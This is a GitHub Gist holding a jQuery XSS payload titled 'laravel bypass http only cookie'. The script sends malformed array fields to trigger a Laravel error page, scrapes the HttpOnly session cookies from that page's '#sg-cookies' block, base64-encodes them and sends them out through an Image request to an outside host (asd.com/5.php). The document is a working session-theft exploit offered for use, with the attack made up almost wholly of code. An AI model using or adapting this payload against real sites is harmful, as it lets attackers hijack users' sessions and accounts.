Last active
December 30, 2024 11:45
-
-
Save numanturle/80faab01fb767841db81fe4c98587fdc to your computer and use it in GitHub Desktop.
laravel bypass http only cookie
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $( document ).ready(function() { | |
| $.ajax({ | |
| url:"/asd", | |
| method:"POST", | |
| async:true, | |
| xhr: function() { | |
| var xhr = jQuery.ajaxSettings.xhr(); | |
| var setRequestHeader = xhr.setRequestHeader; | |
| xhr.setRequestHeader = function(name, value) { | |
| if (name == 'X-Requested-With') return; | |
| setRequestHeader.call(this, name, value); | |
| } | |
| return xhr; | |
| }, | |
| data:{'_token': $( "input[name*='token']" ).val(),'email[]': [ "abc"],'password[]': [ "abc"]} , | |
| error:function(xhr, textStatus){ | |
| if (xhr.state() == "rejected") | |
| { | |
| var parsed = $.parseHTML(xhr.responseText); | |
| var cookie_v = encodeURIComponent(btoa($.trim($(parsed).find("#sg-cookies").text()).replace(/ /g,'').replace(/^\s*[\r\n]/gm, ''))) | |
| a=new/**/Image();a.src='https://www.asd.com/5.php?'+escape(cookie_v); | |
| } | |
| } | |
| }); | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment